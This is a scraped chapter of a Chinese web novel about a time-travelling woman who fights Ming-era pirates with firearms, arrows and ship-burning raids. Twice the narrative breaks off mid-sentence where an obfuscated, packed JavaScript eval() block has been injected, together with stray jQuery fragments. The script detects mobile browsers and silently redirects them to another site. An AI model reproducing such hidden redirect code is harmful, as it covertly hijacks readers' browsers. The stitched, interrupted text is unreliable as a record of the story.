北回归线以南的地方霜冻、下雪,是挺可怕的事情。难道是早年出现的火山喷发?也不对,无夏之年火山灰遮蔽住太阳,而前天还有不暖和的太阳出现。所以,是小冰河期中的寒冷期的威力?
对了,自己目前的体能和这船,去广州需要几年?啊不,自己没有户籍,如果不承认是疍民,不就成了流民吗!算了算了,看距离,近的话去洲岛,远的去琼岛?说实话,自己一直很喜欢崖州湾的海水和阳光。只是户籍……大不了混个黎族身份。
一路去往自己最喜欢的一个集市。
果然,天气那么冷,摊位少、价格高。苏茜直接买了两只杀好的鸡、一块还算新鲜的瘦猪肉,一大袋很少看见的腊猪皮。加上一些受了冻的可怜蔬菜,还有各种种子,花了三两多银子。
这次苏茜往内陆走,很“愉快”地在一片前不着村后不着店的松林等到跟踪者。这地方是她早就注意到的,所以直接钻林子了。说是林子,其实才四五十棵树,咳,还被她砍走了三棵。
后头的两个人也很满意,这地方是下手的好地方啊!
所以最后苏茜又多了一把刀、两根短棍、几根绳子,和百来铜钱几块碎银。很好,下回可以用飞刀而不需要考虑回收武.器的问题。
处理完尸.体,她又回来砍了两棵松树搬回去。松树不是很好的燃木,最好的自然是火灵木,但她真不舍得就这样烧了,所以平时看到能砍的树就砍,用的是买来的斧子。
亏得现在不是严厉控制铁器的元代,不然她肯定要处心积虑在没有居民的地方杀官吏士兵抢工具。
回去得检查一下自己的热武收藏,找找有没有能用的。毕竟这年头是有火铳的,只要不是明显的连发,一般人也分辨不出技术水平差距甚大。
* * *
“又要招人去采珠啊?”
“听说前些年采的珠不行。停了好些年,不少下水的好手都老了或者死了,还有之前那一场乱里没了。”
“不是有祖祖辈辈采珠的疍民吗?”
“疍民分好几种,采珠的如果活儿少没法糊口,是会转去捕鱼的。”
“我家也是出海捕鱼的,但不知道怎么找珠蚌。”
“嘿,反正那是老爷们头疼的事……我听说小安家的新来了个细皮嫩肉的小妮子,一双小脚裹得俊……”
怎么能忽略这个年代畸形的小脚审美!男人当女人养,女人当废物养。所以她的天足明明白白地表明自己是穷人。苏茜一身褪色青蓝旧棉衣,皱巴巴有些短的青色裙子下是堆着的灰色裤腿、细看长短还不是完全一样,头发包在赭色布巾里,脚上布鞋沾了不少泥巴。若非一身衣服没有补丁,粮油铺的伙计大概会把这类乞丐婆子赶出门。
面粉、小米、粉条这种食材比梗米贵多了,倒是菜油不算贵。
苏茜背着东西走出镇上唯一的店铺街,转个弯,看见有一身单薄衣物的人缩在能晒到太阳的角落里。
继续走,一里地外是个小湖,湖边不远是个坡地。没人看到的时候,她原地消失。背着十几公斤、超过三十本地斤的东西走那么远真是够呛。可为了不引起人注意,她每一处只去采购一两回,自然是特色商品买得越多越好,只要发现不止一个人记得自己就立刻换地方。
天气太冷了。最低温度零度上下,甚至出现冻雨。明明现在是十二月,不,如果阳历可能已经一月了?她用冬至春分的日期对照出了大概的阳历历书,这才感觉是知道了今天是几号。但天干地支的纪年,真的得拿了纸笔算是搞不清楚的——这里的历史与她通史里记载的还不一定完全一致,何况还有粉墨掩饰的可能。
比如现在。
三队士兵“护送”一群补丁服的男女上了一行无棚大车。
别人不知道,苏茜知道。这些都是珠农家庭,以及看上去像的周围船民人家。并不是所有船民都知道如何采珠的,但基本上半数人会捕鱼,人人都会水。可是如此冷的冬天没有保暖措施就下珠池采珠,可想而知是要出人命的。而太监们拿的是旨意,要的是珍珠,这一批赤着脚的贱民全折进去也无所谓,只要不干出来没有珠子要么溺死要么被砍的事情被文人们骂,他们乐意提供吃食以及少许买命安家钱。
苏茜是一上岸首先去买平民款半旧鞋子衣服,将自己与没有米饭吃的船民女子瞬间拉开距离,只要不是在船上被当场逮住就不会有问题。
但……唉!
之后的日子,虽然没再下冻雨,但海湾夜间的风依旧很冷。摄氏九度再配上六七级风,想想都很“动”人。想来想去,苏茜决定划到崖州去享受阳光和台风,啊不,是温暖的海风。不过现在先认真练功养身体比较好,否则没那个体能。
破瓦罐、旧木箱、木条种植箱里的绿叶菜勉强能吃了,挂藤作物爬上了倾倒后又立起来的架子顶,小浆果因为温度和日照的关系一直是趴地绿植状态。苏茜的大部分时间都花在练功、种植、洗涤、做饭和采买砍树上,每天最多在陆地上沿着海岸走几公里土路山路或是没路的地方——特别费鞋子。虽说碰到一个海湾就要绕行上百公里路,但也由此收集了不少生活物资,整个人的身高体重、肌肉力量也明显变好。
连续四五天冷飕飕的春雨后,天气突然暖和起来,仿佛之前的冰冻是幻觉。这个海湾苏茜花了三个多月时间,一来是似乎特别长,二来集镇特别多,吃食也很丰富。
苏茜严重怀疑崖州没有如此丰富的物产,所以她开始纠结是不是在这一带定居。可还是那个问题,户籍。别说买地买房,村落里不会随便租房给外人,镇子上租房更要看身份——城里直接略过。所以,似乎去崖州当个黎人更妥当?
清爽的初夏夜晚,为了躲避蚊子而回到自己岛上的苏茜与登陆的海寇几乎擦肩而过。
出现在林中的苏茜与一个“方便”的家伙距离相当近。
苏茜立即回到岛上,然后皱眉回想那服装……见鬼!海寇!发型服装武.器不像是扶桑浪人武士,但倭寇是个统称,分很多“品种”且来源复杂,一部分是扶桑半军事组织,另一部分海盗海寇海贼走私商私兵乃至活不下去的沿岸渔民后代等等,当然每一支队伍都离不开陆地上的奸细!
苏茜一边给自己准备吃食,一边思考着策略。吃完东西,葱油饼烤好了。下午,她先躺下睡了会儿,傍晚里起来先洗漱,泡壶茶,蒸个鸡肉饭,大个号再吃饭。
吃完,带上大饼,准备好冷武.器和一柄“最新式”后膛.木仓,换了件式样做坏了的左衽袍子,非常不伦不类的那种,包上头,出去。
外面当然没人。根据之前的推测,苏茜一路贴着树木土堆或所有稍微能掩饰的地方,往中午时自己要去的镇子方向走了两公里多左右,又累又热又紧张地打算放弃的时候,才发现前面打起来了。或者说,屠.杀起来了。
盗匪抢劫什么样子,前面那群衣服发型各异的人就是什么样子。
苏茜没怎么受过军事训练,只靠着大半年锻炼出来的身体素质,窜上一个土屋的房顶,用单筒望远镜观察了一圈,放下,盯住两个目标,双手举木仓在其中一个自己熟悉发型的高个子持刀头领之一,停下来说话观察的时候,在火光的辅助照明下,瞄准,击中。装弹,第十五秒的时候,第二个目标、服饰奇怪同时也是唯一一个持手铳的胖子来到一百米内,瞄准,击中。
立刻闪回岛上。
时间够再来一颗子.弹,不过索性那两个目标虽然都没打中致命处,却都是躯干受伤,在这个时间地点,被金属子.弹打在身体而非四肢末梢上,不会有救,只会慢慢死去或者被抓住处死。
岛上快天亮了。
苏茜将身上脏了的奇怪衣服放木盆里用肥皂团洗涤,然后扔进清水池里洗一下,挂在山洞口的地方晾着,然后啃个大饼、洗漱后盖了棉布被套睡觉。这个被套还是上辈子的存货,虽然破了,但能在夏天盖。
一路走来,不仅买到三斤、五斤的棉被和垫被,还有厚薄丝棉被子、桑蚕丝的床单和男式中衣——此时的丝都是正品,比伦敦卖的便宜太多,就是想要的真丝睡裙和内衣裤之类得自己做。总体上,她的生活条件还是不错的。
种植箱里的蔬菜品种少、数量不多,米粮数量足够吃一年,就是肉类和豆制品因为无法存
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053725|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放而短缺。苏茜将腌制风干腊味的荤菜都吃完后,决定当晚出去看看。
她离开的地方是房顶,回去的时候也在房顶,得谨慎些。
果然,一出现就差点摔伤。这里是镇子外围,这房子被烧塌了。
周围的尸.体应该都处理掉了,远处有哭声,还有吆喝以及金属的碰撞声。苏茜离开废墟,扭头出镇子范围,寻找记忆里的一处集市。
关门闭市,却并无战斗过的痕迹。
大概半个时辰后,天光微熹,集市陆陆续续开张了。
苏茜去买了半筐肉食和一些自己没有种的蔬菜。没人议论?大家都好像行色匆匆。她转到集市口的茶棚,果然陆陆续续有人过来,就蹲在道边说倭寇上岸的事。她买了一大碗茶,当然一口没喝。
“……本来他们已经攻下闸镇,但是不知道怎么回事,突然又退回去了。正赶上千户营的人追过来。”
“嘿,我是听说本来千户营的那帮人被打得落花流水往城里逃,没想到倭寇内讧,死了个领头的,结果乱起来。”
“你说他们一摸一个准的,会不会岸上有内应?”
“不是说抓到一个探子,已经在城门楼上砍了示众吗?”
“说那个是探子,就肯定是探子啊?”
“你甚意思?!”
说着说着,有两个人差点打起来。
这里没有新的口音,苏茜暗暗调整了下嗓子,加入讨论。“也不知道会不会有其他地方遭罪。”
“肯定有。我们这又不是最有钱的,这不是还有安县、海县,都有不少有钱人,还有城墙保护着。”
“他们肯定已经跑了吧?那城墙挡得住吗?”
“……可能挡得住?何况,即使跑了,也不可能把家当全部搬走吧?根本来不及。”
没一个人说会不会自家也遭殃。普通农户渔民之家,宽裕的也就是有半年的口粮罢了,银子加起来一般不超过十两,娶个媳妇彩礼也就二到五两甚至一篮鸡蛋半匹布,肉食一年吃几次都是计算好的,连媳妇闺女也是拉出去卖不出三两银的相貌,全村凑一块也榨不出多少油水,真不值得倭寇大老远跑来抢掠——有那么多集镇可以抢呢,财货多,连姑娘也更白嫩些。
将茶水倒得差不多,各种消息也听得差不多,苏茜转身离开,一点都没有引起注意。天天在露天练武、种植、钓鱼,虽说没有晒成黑炭,但肤色是真的不好看,晒斑开始出现,偶然还冒个痘痘。加上平板的身材、明显的肌肉、有力的腿脚,说她是女的都没人信……
苏茜本人对自己的肱二头肌和腹肌是很满意的。很少有这种有大把时间锻炼的人生,不抓紧成为女超人简直不可原谅。
这是个有倭寇海盗贼寇的年代!不是还有洲岛被海盗攻占过,反抗的军民全部战死的记载吗?那就说明实际情况更糟。如果自己更强些,就不会在第一次碰到倭寇的时候下意识就逃,而应该冲上去一刀毙命,然后一个人干掉一支队伍……最后那句划掉。除了修士那一世,自己真没这个本事以一当百,除非手头几百年的热武.器和子.弹全部都好好的。
想到自己那么多的热武.器收藏大都成了金属垃圾,心痛得喘不过气。
最后苏茜还是随着大群平民去“观赏”处死贼寇。
人太多了,即使砍脑袋的是在土台上仍然什么都看不到。
“来了来了!押来了!”
前面有人欢呼。
这时苏茜才知道不是自己太矮,而是压根还没开始。
锣鼓吆喝,似乎还有将领和官员讲话。但后面的人什么都听不见,而且叽叽喳喳兴奋无比地等了快一个时辰,才看见有一群士兵三人一组,一个个地押了人犯上台。。
打头的,不是。第二个,不是。
第七个和第八个,就是被自己打伤的,拖上来的时候衣服上的血迹非常明显,人也是意识不清的,搞不好已经快死了。
苏茜跟着人群一起欢呼,忍受了两个时辰的臭味终于能够散开,感觉浑身包括头皮在内都在发痒,找了机会躲回岛上直接跳进海里用淡盐水好好清洗。
顺便找点吃的。海里没有那种大量繁衍破坏环境的小型贻贝,也或许是贻贝的食物不多导致长不出来百万千万级别,整座岛周边浅海很少有大量贻贝的存在,一般一次赶海也就弄上来二三十个大小不一的。
这次苏茜逮到两只挺大的螃蟹,还从捞上来的蚌壳里找到一颗珍珠。小指指甲盖大小,莹润光泽,中等品质,没有加工和镶嵌都卖不到五十文。苏茜边弄饭菜边欣赏,最后放进收藏盒子。以前的饰品,上辈子都用酸液处理过,看起来还行,就是风格不对。唯有足金的素面戒圈耳环手镯在大部分地方都能作为交换品。还有,这里除了大店铺或当铺一般不收黄金,银是硬通货,合金币则是千差万别。一年来她的战利品里居然有三种铜钱,全部清洗后收藏。兴许若干年后又有用到的时候,或者作为收藏品卖出溢价好购买纯银。
第四天,出岛买新鲜蔬菜及种子的同时,继续搞木箱、木板、木头、枝叶等等。自己锯木头的手艺不太行,歪歪扭扭浪费材料,做出来的种植箱还漏土,加上自己偷砍的都是不成材的树,还是要买现成的。
结果一头扎进军民抗倭的大潮。
“我的箭不行,需要箭。”
“需要弓吗?”
“如果有弓最好不过。”
“还有一把。”
苏茜的身份是山民后裔佃农兼猎户,领了弓箭还有一只小锣就去军队弓箭手们点头同意的岗哨方向。斥候人数严重不足,普通平民逃都来不及不要说反抗,她这样有点本事还乐意去比较危险地方的人是很缺的。
几个士兵和一个分配军械的百户沉默地看着那个显得瘦弱佝偻的背影。
“蒋百户,给他那么多箭行吗?”五十支箭,加上弓,那小子再结实也背得够呛吧。
“能连射三箭,虽非百步穿杨,可准头相当不错了。”他们整支九百来人的队伍,这种水准的弓箭手也不超过五十个,根本不可能浪费在岗哨的位置。
“不知道他能不能回来。”好手好脚,没死没残的那种回来。
“他只带了五六顿的干饼。”这种天气,吃食放到第三天都变质了,吃下去会腹泻,运气太差会玩完的。
“……那些匪人会来吗?”
“说是看到好几条大船。就是不知道多少人,攻哪些地方。”上次就几百人,几乎全灭。但审讯的结果非常不好,因为他们甚至只是先遣,本来想潜伏的,结果一时贪心,打下个镇子也太容易,所以才被军民提前拿下。
“唉……”这位百户上任才两年,也不知道能做几年。前一任百户的父亲病死后,正打算跟当地富户结亲,结果才二十岁就战死又没有继承人……不想了,他自己也不知道还能活多久。
29.疍民没饭吃(三)
斥候、岗哨和狙击手各不相同。
苏茜一开始以为自己是狙击手,结果风餐露宿还差点成为蚊子血包之后才了悟:原来这个临时职位比放哨的都不如!因为如果自己这个方向没有敌人经过就啥事没有。
点燃一炉驱虫驱蚊香,再用望远镜张望十五分钟,确定五公里内无人烟就回去弄点吃喝和方便。
半小时后出来,继续张望。
本来以为海上来的袭击都是夜间,结果士兵们说大部分都是白天,尤其是涨潮时登陆的最多,夜间基本不可能。所以她快三十小时没有睡超过一小时!换班的人说是明天下午到。还有二十小时甚至更长时间呢!
打个呵欠,闭一会儿眼,再用望远镜张望。
嗯?
就在天色渐暗的光线里,她看到了什么?!几十条小船!
那个百户说什么来着?个别探子就射杀,大批敌人就跑回来报信。是啊,她五十支箭,这可是二三十米射程的木头弓箭,一个对五个是顶天了!
她确定了两分钟,有超过三十个奇怪装束、带着冷兵器的家伙登陆,于是将弓箭和望远镜都扔回岛上,然后一路跑回五公里外的驻地。
快到的时候,苏茜轻敲小锣。声音不算大,但村民和岗哨一听就立刻警觉起来。
“有匪人上岸!”她边跑边对只穿着褂子中裤追来问情况的平民道,“快躲起来。”
然后又敲了两下锣。
临时军营这个时间起码有一半人是武.器在手边的状态。
“什么事?!”两个士兵冲过来问。
“我看到,几十条小船,船上人,带兵器,衣服乱七八糟,在登岸。”苏茜边喘气边大声道。
很快,全营的人都整装准备出发,有的嘴里还在努力嚼着。
“我就在这,我能打,要先喝点粥水。”细细说明方位后,苏茜摆手表示自己不怕打架,但是又累又渴又饿,而且之前领的军械都扔下了,因为背了重物跑不快。
“你是平民,往后面去吧。”一名满脸沟壑,其实可能不超过四十岁的士兵拍拍她的肩膀。啧,那么瘦,也就是对付一两个瑶民的小体格,冲在前面那就是碍事。
苏茜也知道自己的底,现在是团体战,就看哪一方人多气势强,个人没什么发挥的余地。不过,让她躲在后方跟逃跑的平民挤在一起也不甘心。
“我还是找个可以打埋伏的地方吧。放冷箭才是我能做的。”她将已经冷掉的薄粥和干饼全部塞进胃里,抹了嘴,死缠烂打地又弄了弓和二十支箭,到处找隐蔽处。
林子早就砍光了,房子被糟蹋了不少,她边走边找,走了一公里多,“终于”遭遇到了混战。
见鬼,放冷箭真不是简单的事。
自己手上刚到手的弓很不好用,之前到手的稍微好些,箭倒是不错。所以她直接换上伦敦买的“古典”长弓,可能这个时代那边也用这样的冷兵器?弓弦质量还不错,经过这些年仍然能用,就是特别费人。
她在废墟掩体后弯弓搭箭,直接让一个正在大喊大叫、穿得还算不错的家伙失了声。她原本想射对方胸膛的,结果成了嘴巴……反正效果一样哈!
下一箭是另一个家伙的肩膀。
接着就有人冲着自己的方向摸来了。
苏茜最后一箭正中那人,腰子?反正比擦破皮的伤要严重些!然后拔腿就跑。
脚上特意换上的新草鞋没什么声音,现在又是晚上,没啥月光和星光,火把又照不到。所以她跑出去快一公里,似乎没人追了?
反正她抬脚就回了岛上。
今天累死了,吃个一直温着的小红薯,甜美的滋味让人心情都变好了。再喝口凉白开,洗掉衣服、冲个凉水,躺下睡觉!半长穷人式头发湿漉漉的也不管。
岛上的夏夜没有蚊虫也不会很热,很好地冲淡了贫瘠土地带来的遗憾。在没有电更没有静音空调的地方,外头摄氏三十度的蚊叮夜晚很难熬。
不对!她突然想起来,崖州那里的夏天夜晚没有空调更难熬,所以,其实不管在哪,都有不太舒适的季节是吧。另外,没有冬季,肉类确实是个大问题呢。要不还是锻炼海上捕鱼技能,以后常住海上?因为陆地上自己也买不了房子土地,只能自己搭棚子或是租住什么房子。
想了会儿,倒头继续睡。
修炼种菜做饭一天,苏茜换个装束出岛,采购食材顺便打听前天的战况。
打得还是比较激烈的,但是赢了。平民死伤不多。
后天统一行刑,十里八乡简直将围观砍脑袋当成盛大节日。
苏茜差点翻白眼,然后默默地继续到处跑,直到买齐了能找到的所有钓鱼捕鱼网鱼叉鱼和装鱼吃蟹装备——直接买空存货和修补材料、磨刀石磨剪石的那种买法——甚至还买了条半旧的带蓬单桅小帆船,这种式样是定做的,因为非常不实用还很贵,卖家见到她一个人半生不熟地驾船往外海去,眼珠子差点瞪出来:买主是想自尽的人吧?怎么不把财产都送给自己这个可怜的穷人呢!
苏茜没理会内心戏很多的卖家。从地貌判断出大概的方位,这边距离崖州挺远的。
船划出去后她就开始渡海。
现在的半岛,除了山林多、可以砍的树多,路非常不好走。全部是山路不提,如果自己没记错的话,民族也不少!尽管目前碰到的各族对外来的汉人还算礼貌克制,但在他们的聚居地盘就很难说了。何况现在可没有沿海景观公路,更没有高速路。
所以还是得走水路。
于是她或者说慢慢往南挪步。
没有航海图——有也看不懂——没有卫星导航,没有燃油引擎,没有抗台风能力,单人小帆船能平安渡海是个笑话,哦,这个时代和这个地点可能不是台风活跃期,或者运气足够好,反正苏茜这几年都没有碰到台风登陆的事情,当然也可能是自己正好错过,因为时不时有大风大雨天气,地势低的地方甚至小城镇积水可以到膝盖,听说最严重的时候得在街道上划船。
非暴风雨的天气每天扬风帆加划桨艰难前行,十天后苏茜才看到一个较大岛的轮廓。这一路上经过两处无人小岛,这是第三个,明显面积很大。难道是琼岛的外围岛屿?自己有那么大的本事每天划船若干海里?
自己可没本事通过星空分辨具体方位,全靠指南针。但是,感觉路程不对啊?
她认准了方向,收船回岛上直接让帆船搁浅在泥地上,然后夜里换手划小船,还顺便钓个鱼,可惜一条没钓到,用渔网也只有一点点小虾——没有海鸟“指引”更没有水底雷达,捕鱼纯粹凭经验和运气。连续两晚的划船,苏茜自觉臂力又上了一个台阶,然后终于在凌晨踏上光秃秃的海边礁石区。
经过两天对自己的驾船能力进行评估后,苏茜确定这里不是琼岛外围,可能是自己的方向有错误!
然后,苏茜就瞪着远处像是潟湖区域里停泊着的明显式样不对劲的船,或者说是艇,那有些奇怪的船尾她有些眼熟。嗯,不久之前自己通过望远镜看到过相似的艇,在一堆小船后方准备登陆……所以,这里被海盗还是倭寇或是海寇的盘踞了?
* * *
清晨,海边干活的人看起来颇为正常,渔民短打,样式与陆地渔村有点区别,面貌没啥独特的,就是年龄全部是青壮,跟正常渔村男女老少皆有的情况不同。还有,他们不止是修理渔船、少数还出海捕鱼,有些人在练习船上对战——不是正规军的打法,气质也不是民间庄勇。
此时苏茜才确定,这批人是“敌人”,是海寇,不仅对付正常商船,还有可能上岸劫掠的那种。
自己该怎么办?
好歹参与过军事行动,苏茜开始利用自己小岛的优势“探索”这个岛。也许自己曾来过这个岛,但那是几百年后的旅游景区。可现在别说商业配套了,连小命都要谨慎保护。
险险避过几个扛着东西有说有笑的人。苏茜想着对方的方言,有点陆地的影子,又不一样,与自己所知的南方各个方言比对不出来。有些词她听不懂,有些能懂,讲的是风暴刚过去最近不会来新的,还有谁谁差点没回得来。但没有提及任何陆地的事,或者说即使提了她没听懂。当然他们说的不是日文,也不像是越文泰文印文,亦或者说他们的方言融入了其他语系,变得更加难懂。
倭寇组成复杂,但距离陆地如此近的岛屿有这样一批人就不是好事了,尤其是远处几个武士的发型很好认。所以,苏茜真的纠结要不要当个孤胆英雄。
将人全部干掉是不可能的,尤其是冷兵器时代,哪怕拥有满舱的热.武.器也是办不到的。不过她打算将停泊的船只都“笑纳”了,这算是“重创”的一种吧?
是吧!
整个岛的海岸线可不短,得有几十公里还有大量没法走的地段,手划小船加走路能够三四晚上查探完毕。没有人造港湾,船只都在海岸,能登陆的小船也在小河口。苏茜将每个小水道都走过,确定没有可以停船的河流。
可就在她边“享受”温暖湿润的海岛秋夜,边在无星月光的黑暗思考收船路线时,风力又加大。她的船晃动幅度加大,不熟悉水的人能颠簸地晕船呕吐。
苏茜当机立断立刻划去计划的第一站,收船回岛,先弄点吃喝,方便一下,然后换上捞珠的所谓鱼皮装,跑到自己海滩,下水后出岛,游到现世的船的底部。
岛上不进活物,所以如果里面没有人,就能将船“拿”走。她脚下踩着水,双手摸着木头船帮,将这个比集装箱大不少的东西带回岛。
船只吃水挺深的,一回岛就搁浅。
搁浅就搁浅吧,自己一个人无法驾驭这样的大船,也就是拿走船上物品,其他的当柴烧。
简单安顿好第一个大型战利品,转向下一艘。
收不动,船上有活人。
再下一艘,收走了。
因为估算错误,新的船将前一艘撞伤了。
这次苏茜学乖,离得稍微远点,确定船锚是放下状态再回现世。
一晚上的功夫,一共收了大小七艘船,相隔两公里多的水面。苏茜即使体能锻炼得不错,此时也累坏了。最关键的是附近有一艘船上有人大声说话,所以她直接回去,喝下准备好的红糖姜汤。
第二天上午,还没清醒,要命的是第二次例假来了。
这个身体体质糟糕,例假严重迟缓不说,这次简直接近血崩。要不是囤了十几箱子的棉花原料和手纸等,还提前自制了一批备用卫生用品,情况会更糟。
好在痛经不严重,再一杯红糖姜枣茶和一小锅菜干鱼片粥,身体状况稍微好了一点。
老实点养身体兼修炼。
每天多喝一碗一位药铺老人推荐的“昂贵药材”益母草枸杞茶。考虑到交通运输成本,在她眼里非常寻常的东西确实属于昂贵的范畴。
现在的问题来了,是为了气候去琼岛,还是为了生活方便去比较繁华的地方?但没有身份、文引等,有时进城是麻烦事。想来想去,觉得还是随心吧,想去哪去哪不是挺好?!
之前为了渡海,买了不少熏制、腌制食物,还试着用木炭炉将捕到的鱼、开水焯过的叶菜和海带烘干。在岛上气候潮湿的条件下,鱼干菜干海带干的存放时间肯定要比干燥地区短,但到底短多少未知。
第三天,先去战利品船上找收获。
七艘船上的东西不算很多。十来件短.刀.匕.首,一堆备用衣物,腌菜清水和旧水桶,可能变质了的干粮,几捧散落的铜钱。没有火器、没有银两、没有药物,连棉被都是旧的。
苏茜垂头丧气地带着寥寥收获回去用烤炉做鱼干菜干饭,
过了不方便、不能浸冷水的日子,苏茜继续回现世找敌人的不痛快。这些船本身是最大的战利品,可惜在她这里只有用力推回海里当垃圾的下场。
……
第十天半夜,苏茜悄悄从海里冒头。这片海域一条船也没有,她不得不换上衣服,带了自己的小船沿着海岸线继续找。凌晨时,看到五艘大船和小船若干,她慢慢靠近,用之前得来的经验从小船开始,将无人的十几条小船都收走,然后是大船。只有一条没有人,同样收走!
然后立刻转移阵地,在天边泛起蓝黑色光线的时候回去。
睡了一觉,吃点东西后,整理战利品。
大船是放在海里的,这次意外地找到不少日用品,从蜡烛油灯锅碗瓢盆到棉衣棉鞋棉被棉垫,有不少空大箱子,以及一个小布包的银锭。苏茜挑挑拣拣了两大箱子,用绳子吊下来放到自己的小船上,再爬回大船捞起船锚,任其飘走。
其他东西就和船一起当垃圾扔了。苏茜并不去考虑这些东西会不会对小岛所在的物理世界有什么影响。这么久小岛都没有变化更没有活物,就很说明问题了不是吗?在不柯学的世界讲柯学,太扯。
最多可以坐七八人的小船都是放在泥地上搁浅。
小船上除了多几条船桨,几乎没有物资。可小船和桨就是物资啊,苏茜一点不介意多些储备的。
大船上的小型淡水桶大部分都保留下来,推回住处还是比较麻烦的,但其用处很多,接雨水、过滤、养鱼、洗头擦澡、浸洗衣服都用得上
此外就是几张大渔网。渔网很大、网眼不大,可以探到海面下好几米。这么大的网是需要技巧的,所以她带了新得的渔网出海,在近海捞鱼,居然弄上来不少海鱼,还有个头不小的虾和蟹,虾蟹先煮了吃,其他的鱼做成鱼干可以吃个十几顿。
大部分收获放进海水水桶里,用推车带回去,不能养的就立刻煮掉,包括一只死了就亏大发的大螃蟹。蟹钳还在张牙舞爪,之前就差点将渔网也弄破,被她及时倒在船舱板上。她看过别人修渔网,但是自己没动手修过,所以能保护就得认真保护。
吃完直接用海水煮的没多少肉的蟹,以及蘸点醋味道十分不错的肉质饱满的虾,苏茜先睡一觉,天彻底黑了再出去。
没有钟表不知道时间,反正四周无人、无船,就是太过风平浪静。继续沿着海岸线划过去,前方有船,有灯火。
她回岛睡了会,凌晨时分出来,只剩两点光亮。她稍微靠近些,回去安顿好小船,小火煮着姜汤,就换了衣服游过去。
两大两中三艘船,三艘有人,一艘大船无人。收走。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057355|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>船上有货!
或者说,这艘船应该是打劫来的,血迹未干,有股子挥之不去的腥臭,难怪无人值守。大部分货应该已经搬走,另一部分还留着,现在全便宜她了。
有瓷器和茶叶,还有很多日用品包括一些可那是样品的染色棉布料。没有丝绸,更没有金银,现在海盗们先将最值钱的拿走了。苏茜突然就恶向胆边生:自己这种收战利品的行为,会不会还助长了这些人打劫抢掠的“士气”?不行!既然那么多船只收不走也用不了,就不要留了!
睡到下午,她在岛上准备好火折——这玩意存放时间有限但真的很有智慧——引火材料,灯油,线膛铳,锥子、锤子和细剑等,带上两柄匕.首,凭借这两年锻炼出来的臂力和攀岩技术,爬上有人的大船,根据之前清理船只的经验,期间为了躲人回了两次岛。
光着脚潜入船舱部分,浇上油,再点燃易燃物品。离开的路上碰到有个打盹的,直接一剑割断气管。然后找个对面无船的地方跳下水游走。
在游出五六百米的时候,那艘船可以从外部用肉眼看到起了大火,有人奔跑喊叫,其他船的人醒过来想帮忙,但没有好的汲水灭火工具是不可能灭掉火上浇油的火灾的。
苏茜咯咯笑着回岛,吃喝休息。天黑后回来一看,这片海岸只有一条小船还睡了人,放过。
继续绕行,这晚收了一艘,烧了一艘。凿沉船是不可能的,好几个厚实的水密舱都要破开,动静大还特别费力——没有充电电钻,很多事情都做不了。
……
在岛上修养了几天,一个凌晨,苏茜已经回到最开始也是收获最大的那片区域。每艘大船居然都有人打着火把巡逻,可小船一个人也没有哦!
所以苏茜高高兴兴地将自己能用也能卖的小船全部收走,然后上岸。
这个岛肯定是比琼岛小无数倍,但面积也足够她走十几个晚上摸清楚情况。有岗哨巡逻就说明重要,尤其是现在有“不明人士”瞄准他们的船,全岛应该处于警戒的状态。
只是警戒的时间太久的话人会疲惫倦怠。
兵械、金银、货物,这些仓库肯定是重要的甚至是地下,但也有看守不那么严的地方。
比如说放腌制菜坛子和少量熏鱼熏肉之类的仓库,还有堆柴薪木的大柴房,放修船补网工具之类的房子。
在岛上的一部分高层砍伐不多的树木生火抗寒、其他人衣着有些单薄地挨冻时,苏茜看准了一晚上将这几个仓库都清空,几具尸.体扔到自己的海里,并且浇了油再点燃仓库里剩下的易燃物。
直接就近回岛。一是要看看自己的“战绩”,二是这些地方应该不是未来海寇们巡逻的重点。
新一轮扰敌开始。
自家岛上种的菜不少,但收获着实不多。苏茜冒冷去割海带和收集其他种类海藻,才勉强熬到春天。岛上的海寇自然没走。但他们的境况很糟糕。
苏茜的打劫无规律可循,即使安排了人,太少的话很可能就此消失、生不见人死不见尸,或者连船一起消失或者烧死。安排有战斗力的人不停巡逻,又会半个月静悄悄什么动静都没有,但严重影响休息。
最好的法子是入夜后船离开到海上,而岸上所有人都巡逻值夜——因为苏茜是真的会凌晨摸进海寇住处让人消失、只留少量血迹让人恐慌的,而且她能源抢一堆垃圾也要将对方的物资都弄光!这些专职劫掠的青壮年甚至生活在岛上的老少女性没有一个是无辜的,那么随便怎样下手都无所谓。
只要不是一堆人抱着武.器不错眼地盯着,她就将能搬走的东西包括建材和水缸水桶水盆在内统统拿光!
期间这帮海寇的后方来过两拨增援,由于“缺乏经验”且运气奇差,其中一艘物资船大概四成货成了苏茜的财产。
可惜现银依旧不多,全部加起来也就几公斤,相当不划算,完全对不起她这大半年的辛苦付出!饮食不调、作息颠倒、轻伤着凉等等问题让苏茜下手更加狠辣无忌,彻底无视她的对手是足足上千号海盗。
最后居然有一天,一艘旗舰级海船带着十几艘大船靠岸。
苏茜在冒头的时候差点被那船队吓到。众多护卫船中间的旗舰啊!一个人,没有炮,怎么搞?她远远的用望远镜观察。
撞击?
火船?
前者一个人无法驾驶大船,后者问题就在于时机状态的把握。她试验了十几次小岛的进出规则,结论是自己的大部分在水面上那就能保证船底以上的干燥;如果一半在水面上那么火肯定会熄灭。而如果要小船出现后再点燃,在没有助燃剂的情况下不可能在不引起注意的情况下让弄出火船。
